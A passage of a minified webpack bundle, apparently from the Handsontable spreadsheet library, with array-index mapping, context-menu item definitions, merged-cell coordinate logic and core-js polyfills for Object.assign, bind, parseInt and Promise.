index by its physical index. * * @param {Number} physicalIndex Physical index. * @return {Number|null} Returns translated index mapped by passed physical index. */ getValueByIndex: function getValueByIndex(physicalIndex) { var length = this._arrayMap.length; var translatedIndex = null; if (physicalIndex < length) { translatedIndex = this._arrayMap[physicalIndex]; } return translatedIndex; }, /** * Get physical index by its translated index. * * @param {*} translatedIndex Value to search. * @returns {Number|null} Returns a physical index of the array mapper. */ getIndexByValue: function getIndexByValue(translatedIndex) { var physicalIndex; // eslint-disable-next-line no-cond-assign, no-return-assign return (physicalIndex = this._arrayMap.indexOf(translatedIndex)) === -1 ? null : physicalIndex; }, /** * Insert new items to array mapper starting at passed index. New entries will be a continuation of last value in the array. * * @param {Number} physicalIndex Array index. * @param {Number} [amount=1] Defines how many items will be created to an array. * @returns {Array} Returns added items. */ insertItems: function insertItems(physicalIndex) { var _this = this; var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var newIndex = (0, _array.arrayMax)(this._arrayMap) + 1; var addedItems = []; (0, _number.rangeEach)(amount - 1, function (count) { addedItems.push(_this._arrayMap.splice(physicalIndex + count, 0, newIndex + count)); }); return addedItems; }, /** * Remove items from array mapper. * * @param {Number} physicalIndex Array index. * @param {Number} [amount=1] Defines how many items will be created to an array. * @returns {Array} Returns removed items. */ removeItems: function removeItems(physicalIndex) { var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var removedItems = []; if (Array.isArray(physicalIndex)) { var mapCopy = [].concat(this._arrayMap); // Sort descending physicalIndex.sort(function (a, b) { return b - a; }); for (var i = 0, length = physicalIndex.length; i < length; i++) { var indexToRemove = physicalIndex[i]; this._arrayMap.splice(indexToRemove, 1); removedItems.push(mapCopy[indexToRemove]); } } else { removedItems = this._arrayMap.splice(physicalIndex, amount); } return removedItems; }, /** * Unshift items (remove and shift chunk of array to the left). * * @param {Number|Array} physicalIndex Array index or Array of indexes to unshift. * @param {Number} [amount=1] Defines how many items will be removed from an array (when index is passed as number). */ unshiftItems: function unshiftItems(physicalIndex) { var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; var removedItems = this.removeItems(physicalIndex, amount); function countRowShift(logicalRow) { // Todo: compare perf between reduce vs sort->each->brake return (0, _array.arrayReduce)(removedItems, function (count, removedLogicalRow) { var result = count; if (logicalRow > removedLogicalRow) { result += 1; } return result; }, 0); } this._arrayMap = (0, _array.arrayMap)(this._arrayMap, function (logicalRow) { var logicalRowIndex = logicalRow; var rowShift = countRowShift(logicalRowIndex); if (rowShift) { logicalRowIndex -= rowShift; } return logicalRowIndex; }); }, /** * Shift (right shifting) items starting at passed index. * * @param {Number} physicalIndex Array index. * @param {Number} [amount=1] Defines how many items will be created to an array. */ shiftItems: function shiftItems(physicalIndex) { var _this2 = this; var amount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 1; this._arrayMap = (0, _array.arrayMap)(this._arrayMap, function (row) { var physicalRowIndex = row; if (physicalRowIndex >= physicalIndex) { physicalRowIndex += amount; } return physicalRowIndex; }); (0, _number.rangeEach)(amount - 1, function (count) { _this2._arrayMap.splice(physicalIndex + count, 0, physicalIndex + count); }); }, /** * Swap indexes in arrayMapper. * * @param {Number} physicalIndexFrom index to move. * @param {Number} physicalIndexTo index to. */ swapIndexes: function swapIndexes(physicalIndexFrom, physicalIndexTo) { var _this$_arrayMap; (_this$_arrayMap = this._arrayMap).splice.apply(_this$_arrayMap, [physicalIndexTo, 0].concat(_toConsumableArray(this._arrayMap.splice(physicalIndexFrom, 1)))); }, /** * Clear all stored index<->value information from an array. */ clearMap: function clearMap() { this._arrayMap.length = 0; } }; (0, _object.defineGetter)(arrayMapper, 'MIXIN_NAME', MIXIN_NAME, { writable: false, enumerable: false }); var _default = arrayMapper; exports.default = _default; /***/ }), /* 126 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = separatorItem; exports.KEY = void 0; var KEY = '---------'; exports.KEY = KEY; function separatorItem() { return { name: KEY }; } /***/ }), /* 127 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.predefinedItems = predefinedItems; exports.addItem = addItem; exports.ITEMS = exports.UNDO = exports.SEPARATOR = exports.ROW_BELOW = exports.ROW_ABOVE = exports.REMOVE_ROW = exports.REMOVE_COLUMN = exports.REDO = exports.READ_ONLY = exports.COLUMN_RIGHT = exports.COLUMN_LEFT = exports.CLEAR_COLUMN = exports.ALIGNMENT = void 0; var _object = __webpack_require__(2); var _alignment = _interopRequireWildcard(__webpack_require__(689)); exports.ALIGNMENT = _alignment.KEY; var _clearColumn = _interopRequireWildcard(__webpack_require__(690)); exports.CLEAR_COLUMN = _clearColumn.KEY; var _columnLeft = _interopRequireWildcard(__webpack_require__(691)); exports.COLUMN_LEFT = _columnLeft.KEY; var _columnRight = _interopRequireWildcard(__webpack_require__(692)); exports.COLUMN_RIGHT = _columnRight.KEY; var _readOnly = _interopRequireWildcard(__webpack_require__(693)); exports.READ_ONLY = _readOnly.KEY; var _redo = _interopRequireWildcard(__webpack_require__(694)); exports.REDO = _redo.KEY; var _removeColumn = _interopRequireWildcard(__webpack_require__(695)); exports.REMOVE_COLUMN = _removeColumn.KEY; var _removeRow = _interopRequireWildcard(__webpack_require__(696)); exports.REMOVE_ROW = _removeRow.KEY; var _rowAbove = _interopRequireWildcard(__webpack_require__(697)); exports.ROW_ABOVE = _rowAbove.KEY; var _rowBelow = _interopRequireWildcard(__webpack_require__(698)); exports.ROW_BELOW = _rowBelow.KEY; var _separator = _interopRequireWildcard(__webpack_require__(126)); exports.SEPARATOR = _separator.KEY; var _undo = _interopRequireWildcard(__webpack_require__(699)); exports.UNDO = _undo.KEY; var _predefinedItems2; function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var ITEMS = [_rowAbove.KEY, _rowBelow.KEY, _columnLeft.KEY, _columnRight.KEY, _clearColumn.KEY, _removeRow.KEY, _removeColumn.KEY, _undo.KEY, _redo.KEY, _readOnly.KEY, _alignment.KEY, _separator.KEY]; exports.ITEMS = ITEMS; var _predefinedItems = (_predefinedItems2 = {}, _defineProperty(_predefinedItems2, _separator.KEY, _separator.default), _defineProperty(_predefinedItems2, _rowAbove.KEY, _rowAbove.default), _defineProperty(_predefinedItems2, _rowBelow.KEY, _rowBelow.default), _defineProperty(_predefinedItems2, _columnLeft.KEY, _columnLeft.default), _defineProperty(_predefinedItems2, _columnRight.KEY, _columnRight.default), _defineProperty(_predefinedItems2, _clearColumn.KEY, _clearColumn.default), _defineProperty(_predefinedItems2, _removeRow.KEY, _removeRow.default), _defineProperty(_predefinedItems2, _removeColumn.KEY, _removeColumn.default), _defineProperty(_predefinedItems2, _undo.KEY, _undo.default), _defineProperty(_predefinedItems2, _redo.KEY, _redo.default), _defineProperty(_predefinedItems2, _readOnly.KEY, _readOnly.default), _defineProperty(_predefinedItems2, _alignment.KEY, _alignment.default), _predefinedItems2); /** * Gets new object with all predefined menu items. * * @returns {Object} */ function predefinedItems() { var items = {}; (0, _object.objectEach)(_predefinedItems, function (itemFactory, key) { items[key] = itemFactory(); }); return items; } /** * Add new predefined menu item to the collection. * * @param {String} key Menu command id. * @param {Object} item Object command descriptor. */ function addItem(key, item) { if (ITEMS.indexOf(key) === -1) { _predefinedItems[key] = item; } } /***/ }), /* 128 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _index = __webpack_require__(8); var _templateLiteralTag = __webpack_require__(58); function _templateObject4() { var data = _taggedTemplateLiteral(["The merged cell declared at [", ", ", "] has \"rowspan\" or \"colspan\" declared as \n \"0\", which is not supported. It cannot be added to the collection."]); _templateObject4 = function _templateObject4() { return data; }; return data; } function _templateObject3() { var data = _taggedTemplateLiteral(["The merged cell declared at [", ", ", "] has both \"rowspan\" \n and \"colspan\" declared as \"1\", which makes it a single cell. It cannot be added to the collection."]); _templateObject3 = function _templateObject3() { return data; }; return data; } function _templateObject2() { var data = _taggedTemplateLiteral(["The merged cell declared at [", ", ", "] is positioned (or positioned partially) \n outside of the table range. It was not added to the table, please fix your setup."]); _templateObject2 = function _templateObject2() { return data; }; return data; } function _templateObject() { var data = _taggedTemplateLiteral(["The merged cell declared with {row: ", ", col: ", ", rowspan: \n ", ", colspan: ", "} contains negative values, which is not supported. It \n will not be added to the collection."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * The `MergedCellCoords` class represents a single merged cell. * * @class MergedCellCoords * @plugin MergeCells */ var MergedCellCoords = /*#__PURE__*/ function () { function MergedCellCoords(row, column, rowspan, colspan) { _classCallCheck(this, MergedCellCoords); /** * The index of the topmost merged cell row. * * @type {Number} */ this.row = row; /** * The index of the leftmost column. * * @type {Number} */ this.col = column; /** * The `rowspan` value of the merged cell. * * @type {Number} */ this.rowspan = rowspan; /** * The `colspan` value of the merged cell. * * @type {Number} */ this.colspan = colspan; /** * `true` only if the merged cell is bound to be removed. * * @type {Boolean} */ this.removed = false; } /** * Get a warning message for when the declared merged cell data contains negative values. * * @param {Object} newMergedCell Object containg information about the merged cells that was about to be added. * @return {String} */ _createClass(MergedCellCoords, [{ key: "normalize", /** * Sanitize (prevent from going outside the boundaries) the merged cell. * * @param hotInstance */ value: function normalize(hotInstance) { var totalRows = hotInstance.countRows(); var totalColumns = hotInstance.countCols(); if (this.row < 0) { this.row = 0; } else if (this.row > totalRows - 1) { this.row = totalRows - 1; } if (this.col < 0) { this.col = 0; } else if (this.col > totalColumns - 1) { this.col = totalColumns - 1; } if (this.row + this.rowspan > totalRows - 1) { this.rowspan = totalRows - this.row; } if (this.col + this.colspan > totalColumns - 1) { this.colspan = totalColumns - this.col; } } /** * Returns `true` if the provided coordinates are inside the merged cell. * * @param {Number} row The row index. * @param {Number} column The column index. * @return {Boolean} */ }, { key: "includes", value: function includes(row, column) { return this.row <= row && this.col <= column && this.row + this.rowspan - 1 >= row && this.col + this.colspan - 1 >= column; } /** * Returns `true` if the provided `column` property is within the column span of the merged cell. * * @param {Number} column The column index. * @return {Boolean} */ }, { key: "includesHorizontally", value: function includesHorizontally(column) { return this.col <= column && this.col + this.colspan - 1 >= column; } /** * Returns `true` if the provided `row` property is within the row span of the merged cell. * * @param {Number} row Row index. * @return {Boolean} */ }, { key: "includesVertically", value: function includesVertically(row) { return this.row <= row && this.row + this.rowspan - 1 >= row; } /** * Shift (and possibly resize, if needed) the merged cell. * * @param {Array} shiftVector 2-element array containing the information on the shifting in the `x` and `y` axis. * @param {Number} indexOfChange Index of the preceding change. * @returns {Boolean} Returns `false` if the whole merged cell was removed. */ }, { key: "shift", value: function shift(shiftVector, indexOfChange) { var shiftValue = shiftVector[0] || shiftVector[1]; var shiftedIndex = indexOfChange + Math.abs(shiftVector[0] || shiftVector[1]) - 1; var span = shiftVector[0] ? 'colspan' : 'rowspan'; var index = shiftVector[0] ? 'col' : 'row'; var changeStart = Math.min(indexOfChange, shiftedIndex); var changeEnd = Math.max(indexOfChange, shiftedIndex); var mergeStart = this[index]; var mergeEnd = this[index] + this[span] - 1; if (mergeStart >= indexOfChange) { this[index] += shiftValue; } // adding rows/columns if (shiftValue > 0) { if (indexOfChange <= mergeEnd && indexOfChange > mergeStart) { this[span] += shiftValue; } // removing rows/columns } else if (shiftValue < 0) { // removing the whole merge if (changeStart <= mergeStart && changeEnd >= mergeEnd) { this.removed = true; return false; // removing the merge partially, including the beginning } else if (mergeStart >= changeStart && mergeStart <= changeEnd) { var removedOffset = changeEnd - mergeStart + 1; var preRemovedOffset = Math.abs(shiftValue) - removedOffset; this[index] -= preRemovedOffset + shiftValue; this[span] -= removedOffset; // removing the middle part of the merge } else if (mergeStart <= changeStart && mergeEnd >= changeEnd) { this[span] += shiftValue; // removing the end part of the merge } else if (mergeStart <= changeStart && mergeEnd >= changeStart && mergeEnd < changeEnd) { var removedPart = mergeEnd - changeStart + 1; this[span] -= removedPart; } } return true; } /** * Check if the second provided merged cell is "farther" in the provided direction. * * @param {MergedCellCoords} mergedCell The merged cell to check. * @param {String} direction Drag direction. * @return {Boolean|null} `true` if the second provided merged cell is "farther". */ }, { key: "isFarther", value: function isFarther(mergedCell, direction) { if (!mergedCell) { return true; } if (direction === 'down') { return mergedCell.row + mergedCell.rowspan - 1 < this.row + this.rowspan - 1; } else if (direction === 'up') { return mergedCell.row > this.row; } else if (direction === 'right') { return mergedCell.col + mergedCell.colspan - 1 < this.col + this.colspan - 1; } else if (direction === 'left') { return mergedCell.col > this.col; } return null; } /** * Get the bottom row index of the merged cell. * * @returns {Number} */ }, { key: "getLastRow", value: function getLastRow() { return this.row + this.rowspan - 1; } /** * Get the rightmost column index of the merged cell. * * @returns {Number} */ }, { key: "getLastColumn", value: function getLastColumn() { return this.col + this.colspan - 1; } /** * Get the range coordinates of the merged cell. * * @return {CellRange} */ }, { key: "getRange", value: function getRange() { return new _index.CellRange(new _index.CellCoords(this.row, this.col), new _index.CellCoords(this.row, this.col), new _index.CellCoords(this.getLastRow(), this.getLastColumn())); } }], [{ key: "NEGATIVE_VALUES_WARNING", value: function NEGATIVE_VALUES_WARNING(newMergedCell) { return (0, _templateLiteralTag.toSingleLine)(_templateObject(), newMergedCell.row, newMergedCell.col, newMergedCell.rowspan, newMergedCell.colspan); } /** * Get a warning message for when the declared merged cell data contains values exceeding the table limits. * * @param {Object} newMergedCell Object containg information about the merged cells that was about to be added. * @return {String} */ }, { key: "IS_OUT_OF_BOUNDS_WARNING", value: function IS_OUT_OF_BOUNDS_WARNING(newMergedCell) { return (0, _templateLiteralTag.toSingleLine)(_templateObject2(), newMergedCell.row, newMergedCell.col); } /** * Get a warning message for when the declared merged cell data represents a single cell. * * @param {Object} newMergedCell Object containg information about the merged cells that was about to be added. * @return {String} */ }, { key: "IS_SINGLE_CELL", value: function IS_SINGLE_CELL(newMergedCell) { return (0, _templateLiteralTag.toSingleLine)(_templateObject3(), newMergedCell.row, newMergedCell.col); } /** * Get a warning message for when the declared merged cell data contains "colspan" or "rowspan", that equals 0. * * @param {Object} newMergedCell Object containg information about the merged cells that was about to be added. * @return {String} */ }, { key: "ZERO_SPAN_WARNING", value: function ZERO_SPAN_WARNING(newMergedCell) { return (0, _templateLiteralTag.toSingleLine)(_templateObject4(), newMergedCell.row, newMergedCell.col); } /** * Check whether the values provided for a merged cell contain any negative values. * * @param {Object} mergedCellInfo Object containing the `row`, `col`, `rowspan` and `colspan` properties. * @return {Boolean} */ }, { key: "containsNegativeValues", value: function containsNegativeValues(mergedCellInfo) { return mergedCellInfo.row < 0 || mergedCellInfo.col < 0 || mergedCellInfo.rowspan < 0 || mergedCellInfo.colspan < 0; } /** * Check whether the provided merged cell information object represents a single cell. * * @private * @param {Object} mergedCellInfo An object with `row`, `col`, `rowspan` and `colspan` properties. * @return {Boolean} */ }, { key: "isSingleCell", value: function isSingleCell(mergedCellInfo) { return mergedCellInfo.colspan === 1 && mergedCellInfo.rowspan === 1; } /** * Check whether the provided merged cell information object contains a rowspan or colspan of 0. * * @private * @param {Object} mergedCellInfo An object with `row`, `col`, `rowspan` and `colspan` properties. * @return {Boolean} */ }, { key: "containsZeroSpan", value: function containsZeroSpan(mergedCellInfo) { return mergedCellInfo.colspan === 0 || mergedCellInfo.rowspan === 0; } /** * Check whether the provided merged cell object is to be declared out of bounds of the table. * * @param {Object} mergeCell Object containing the `row`, `col`, `rowspan` and `colspan` properties. * @param {Number} rowCount Number of rows in the table. * @param {Number} columnCount Number of rows in the table. * @return {Boolean} */ }, { key: "isOutOfBounds", value: function isOutOfBounds(mergeCell, rowCount, columnCount) { return mergeCell.row < 0 || mergeCell.col < 0 || mergeCell.row >= rowCount || mergeCell.row + mergeCell.rowspan - 1 >= rowCount || mergeCell.col >= columnCount || mergeCell.col + mergeCell.colspan - 1 >= columnCount; } }]); return MergedCellCoords; }(); var _default = MergedCellCoords; exports.default = _default; /***/ }), /* 129 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; __webpack_require__(438); __webpack_require__(581); __webpack_require__(583); __webpack_require__(585); __webpack_require__(587); __webpack_require__(589); __webpack_require__(591); __webpack_require__(593); __webpack_require__(595); __webpack_require__(597); __webpack_require__(601); /***/ }), /* 130 */ /***/ (function(module, exports, __webpack_require__) { module.exports = !__webpack_require__(20) && !__webpack_require__(4)(function () { return Object.defineProperty(__webpack_require__(92)('div'), 'a', { get: function () { return 7; } }).a != 7; }); /***/ }), /* 131 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var core = __webpack_require__(21); var LIBRARY = __webpack_require__(52); var wksExt = __webpack_require__(94); var defineProperty = __webpack_require__(17).f; module.exports = function (name) { var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {}); if (name.charAt(0) != '_' && !(name in $Symbol)) defineProperty($Symbol, name, { value: wksExt.f(name) }); }; /***/ }), /* 132 */ /***/ (function(module, exports, __webpack_require__) { var has = __webpack_require__(27); var toIObject = __webpack_require__(29); var arrayIndexOf = __webpack_require__(79)(false); var IE_PROTO = __webpack_require__(95)('IE_PROTO'); module.exports = function (object, names) { var O = toIObject(object); var i = 0; var result = []; var key; for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key); // Don't enum bug & hidden keys while (names.length > i) if (has(O, key = names[i++])) { ~arrayIndexOf(result, key) || result.push(key); } return result; }; /***/ }), /* 133 */ /***/ (function(module, exports, __webpack_require__) { var dP = __webpack_require__(17); var anObject = __webpack_require__(5); var getKeys = __webpack_require__(53); module.exports = __webpack_require__(20) ? Object.defineProperties : function defineProperties(O, Properties) { anObject(O); var keys = getKeys(Properties); var length = keys.length; var i = 0; var P; while (length > i) dP.f(O, P = keys[i++], Properties[P]); return O; }; /***/ }), /* 134 */ /***/ (function(module, exports, __webpack_require__) { // fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window var toIObject = __webpack_require__(29); var gOPN = __webpack_require__(56).f; var toString = {}.toString; var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : []; var getWindowNames = function (it) { try { return gOPN(it); } catch (e) { return windowNames.slice(); } }; module.exports.f = function getOwnPropertyNames(it) { return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it)); }; /***/ }), /* 135 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 19.1.2.1 Object.assign(target, source, ...) var getKeys = __webpack_require__(53); var gOPS = __webpack_require__(80); var pIE = __webpack_require__(71); var toObject = __webpack_require__(24); var IObject = __webpack_require__(70); var $assign = Object.assign; // should work with symbols and should have deterministic property order (V8 bug) module.exports = !$assign || __webpack_require__(4)(function () { var A = {}; var B = {}; // eslint-disable-next-line no-undef var S = Symbol(); var K = 'abcdefghijklmnopqrst'; A[S] = 7; K.split('').forEach(function (k) { B[k] = k; }); return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K; }) ? function assign(target, source) { // eslint-disable-line no-unused-vars var T = toObject(target); var aLen = arguments.length; var index = 1; var getSymbols = gOPS.f; var isEnum = pIE.f; while (aLen > index) { var S = IObject(arguments[index++]); var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S); var length = keys.length; var j = 0; var key; while (length > j) if (isEnum.call(S, key = keys[j++])) T[key] = S[key]; } return T; } : $assign; /***/ }), /* 136 */ /***/ (function(module, exports) { // 7.2.9 SameValue(x, y) module.exports = Object.is || function is(x, y) { // eslint-disable-next-line no-self-compare return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y; }; /***/ }), /* 137 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var aFunction = __webpack_require__(38); var isObject = __webpack_require__(7); var invoke = __webpack_require__(138); var arraySlice = [].slice; var factories = {}; var construct = function (F, len, args) { if (!(len in factories)) { for (var n = [], i = 0; i < len; i++) n[i] = 'a[' + i + ']'; // eslint-disable-next-line no-new-func factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')'); } return factories[len](F, args); }; module.exports = Function.bind || function bind(that /* , ...args */) { var fn = aFunction(this); var partArgs = arraySlice.call(arguments, 1); var bound = function (/* args... */) { var args = partArgs.concat(arraySlice.call(arguments)); return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that); }; if (isObject(fn.prototype)) bound.prototype = fn.prototype; return bound; }; /***/ }), /* 138 */ /***/ (function(module, exports) { // fast apply, http://jsperf.lnkit.com/fast-apply/5 module.exports = function (fn, args, that) { var un = that === undefined; switch (args.length) { case 0: return un ? fn() : fn.call(that); case 1: return un ? fn(args[0]) : fn.call(that, args[0]); case 2: return un ? fn(args[0], args[1]) : fn.call(that, args[0], args[1]); case 3: return un ? fn(args[0], args[1], args[2]) : fn.call(that, args[0], args[1], args[2]); case 4: return un ? fn(args[0], args[1], args[2], args[3]) : fn.call(that, args[0], args[1], args[2], args[3]); } return fn.apply(that, args); }; /***/ }), /* 139 */ /***/ (function(module, exports, __webpack_require__) { var $parseInt = __webpack_require__(6).parseInt; var $trim = __webpack_require__(81).trim; var ws = __webpack_require__(100); var hex = /^[-+]?0[xX]/; module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix) { var string = $trim(String(str), 3); return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10)); } : $parseInt; /***/ }), /* 140 */ /***/ (function(module, exports, __webpack_require__) { var $parseFloat = __webpack_require__(6).parseFloat; var $trim = __webpack_require__(81).trim; module.exports = 1 / $parseFloat(__webpack_require__(100) + '-0') !== -Infinity ? function parseFloat(str) { var string = $trim(String(str), 3); var result = $parseFloat(string); return result === 0 && string.charAt(0) == '-' ? -0 : result; } : $parseFloat; /***/ }), /* 141 */ /***/ (function(module, exports, __webpack_require__) { var cof = __webpack_require__(39); module.exports = function (it, msg) { if (typeof it != 'number' && cof(it) != 'Number') throw TypeError(msg); return +it; }; /***/ }), /* 142 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.3 Number.isInteger(number) var isObject = __webpack_require__(7); var floor = Math.floor; module.exports = function isInteger(it) { return !isObject(it) && isFinite(it) && floor(it) === it; }; /***/ }), /* 143 */ /***/ (function(module, exports) { // 20.2.2.20 Math.log1p(x) module.exports = Math.log1p || function log1p(x) { return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x); }; /***/ }), /* 144 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var create = __webpack_require__(55); var descriptor = __webpack_require__(50); var setToStringTag = __webpack_require__(60); var IteratorPrototype = {}; // 25.1.2.1.1 %IteratorPrototype%[@@iterator]() __webpack_require__(28)(IteratorPrototype, __webpack_require__(12)('iterator'), function () { return this; }); module.exports = function (Constructor, NAME, next) { Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) }); setToStringTag(Constructor, NAME + ' Iterator'); }; /***/ }), /* 145 */ /***/ (function(module, exports, __webpack_require__) { // call something on iterator step with safe closing on error var anObject = __webpack_require__(5); module.exports = function (iterator, fn, value, entries) { try { return entries ? fn(anObject(value)[0], value[1]) : fn(value); // 7.4.6 IteratorClose(iterator, completion) } catch (e) { var ret = iterator['return']; if (ret !== undefined) anObject(ret.call(iterator)); throw e; } }; /***/ }), /* 146 */ /***/ (function(module, exports, __webpack_require__) { var aFunction = __webpack_require__(38); var toObject = __webpack_require__(24); var IObject = __webpack_require__(70); var toLength = __webpack_require__(16); module.exports = function (that, callbackfn, aLen, memo, isRight) { aFunction(callbackfn); var O = toObject(that); var self = IObject(O); var length = toLength(O.length); var index = isRight ? length - 1 : 0; var i = isRight ? -1 : 1; if (aLen < 2) for (;;) { if (index in self) { memo = self[index]; index += i; break; } index += i; if (isRight ? index < 0 : length <= index) { throw TypeError('Reduce of empty array with no initial value'); } } for (;isRight ? index >= 0 : length > index; index += i) if (index in self) { memo = callbackfn(memo, self[index], index, O); } return memo; }; /***/ }), /* 147 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) var toObject = __webpack_require__(24); var toAbsoluteIndex = __webpack_require__(54); var toLength = __webpack_require__(16); module.exports = [].copyWithin || function copyWithin(target /* = 0 */, start /* = 0, end = @length */) { var O = toObject(this); var len = toLength(O.length); var to = toAbsoluteIndex(target, len); var from = toAbsoluteIndex(start, len); var end = arguments.length > 2 ? arguments[2] : undefined; var count = Math.min((end === undefined ? len : toAbsoluteIndex(end, len)) - from, len - to); var inc = 1; if (from < to && to < from + count) { inc = -1; from += count - 1; to += count - 1; } while (count-- > 0) { if (from in O) O[to] = O[from]; else delete O[to]; to += inc; from += inc; } return O; }; /***/ }), /* 148 */ /***/ (function(module, exports) { module.exports = function (done, value) { return { value: value, done: !!done }; }; /***/ }), /* 149 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var regexpExec = __webpack_require__(115); __webpack_require__(0)({ target: 'RegExp', proto: true, forced: regexpExec !== /./.exec }, { exec: regexpExec }); /***/ }), /* 150 */ /***/ (function(module, exports, __webpack_require__) { // 21.2.5.3 get RegExp.prototype.flags() if (__webpack_require__(20) && /./g.flags != 'g') __webpack_require__(17).f(RegExp.prototype, 'flags', { configurable: true, get: __webpack_require__(83) }); /***/ }), /* 151 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var LIBRARY = __webpack_require__(52); var global = __webpack_require__(6); var ctx = __webpack_require__(37); var classof = __webpack_require__(72); var $export = __webpack_require__(0); var isObject = __webpack_require__(7); var aFunction = __webpack_require__(38); var anInstance = __webpack_require__(64); var forOf = __webpack_require__(86); var speciesConstructor = __webpack_require__(73); var task = __webpack_require__(117).set; var microtask = __webpack_require__(550)(); var newPromiseCapabilityModule = __webpack_require__(152); var perform = __webpack_require__(551); var userAgent = __webpack_require__(87); var promiseResolve = __webpack_require__(153); var PROMISE = 'Promise'; var TypeError = global.TypeError; var process = global.process; var versions = process && process.versions; var v8 = versions && versions.v8 || ''; var $Promise = global[PROMISE]; var isNode = classof(process) == 'process'; var empty = function () { /* empty */ }; var Internal, newGenericPromiseCapability, OwnPromiseCapability, Wrapper; var newPromiseCapability = newGenericPromiseCapability = newPromiseCapabilityModule.f; var USE_NATIVE = !!function () { try { // correct subclassing with @@species support var promise = $Promise.resolve(1); var FakePromise = (promise.constructor = {})[__webpack_require__(12)('species')] = function (exec) { exec(empty, empty); }; // unhandled rejections tracking support, NodeJS Promise without it fails @@species test return (isNode || typeof PromiseRejectionEvent == 'function') && promise.then(empty) instanceof FakePromise // v8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables // https://bugs.chromium.org/p/chromium/issues/detail?id=830565 // we can't detect it synchronously, so just check versions && v8.indexOf('6.6') !== 0 && userAgent.indexOf('Chrome/66') === -1; } catch (e) { /* empty */ } }(); // helpers var isThenable = function (it) { var then; return isObject(it) && typeof (then = it.then) == 'function' ? then : false; }; var notify = function (promise, isReject) { if (promise._n) return; promise._n = true; var chain = promise._c; microtask(function () { var value = promise._v; var ok = promise._s == 1; var i = 0; var run = function (reaction) { var handler = ok ? reaction.ok : reaction.fail; var resolve = reaction.resolve; var reject = reaction.reject; var domain = reaction.domain; var result, then, exited; try { if (handler) { if (!ok) { if (promise._h == 2) onHandleUnhandled(promise); promise._h = 1; } if (handler === true) result = value; else { if (domain) domain.enter(); result = handler(value); // may throw if (domain) { domain.exit(); exited = true; } } if (result === reaction.promise) { reject(TypeError('Promise-chain cycle')); } else if (then = isThenable(result)) { then.call(result, resolve, reject); } else resolve(result); } else reject(value); } catch (e) { if (domain && !exited) domain.exit(); reject(e); } }; while (chain.length > i) run(chain[i++]); // variable length - can't use forEach promise._c = []; promise._n = false; if (isReject && !promise._h) onUnhandled(promise); }); }; var onUnhandled = function (promise) { task.call(global, function () { var value = promise._v; var unhandled = isUnhandled(promise); var result, handler, console; if (unhandled) { result = perform(function () { if (isNode) { process.emit('unhandledRejection', value, promise); } else if (handler = global.onunhandledrejection) { handler({ promise: promise, reason: value }); } else if ((console = global.console) && console.error) { console.error('Unhandled promise rejection', value); } }); // Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should promise._h = isNode || isUnhandled(promise) ? 2 : 1; } promise._a = undefined; if (unhandled && result.e) throw result.v; }); }; var isUnhandled = function (promise) { return promise._h !== 1 && (promise._a || promise._c).length === 0; }; var onHandleUnhandled = function (promise) { task.call(global, function () { var handler; if (isNode) { process.emit('rejectionHandled', promise); } else if (handler = global.onrejectionhandled) { handler({ promise: promise, reason: promise._v }); } }); }; var $reject = function (value) { var promise = this; if (promise._d) return; promise._d = true; promise = promise._w || promise; // unwrap 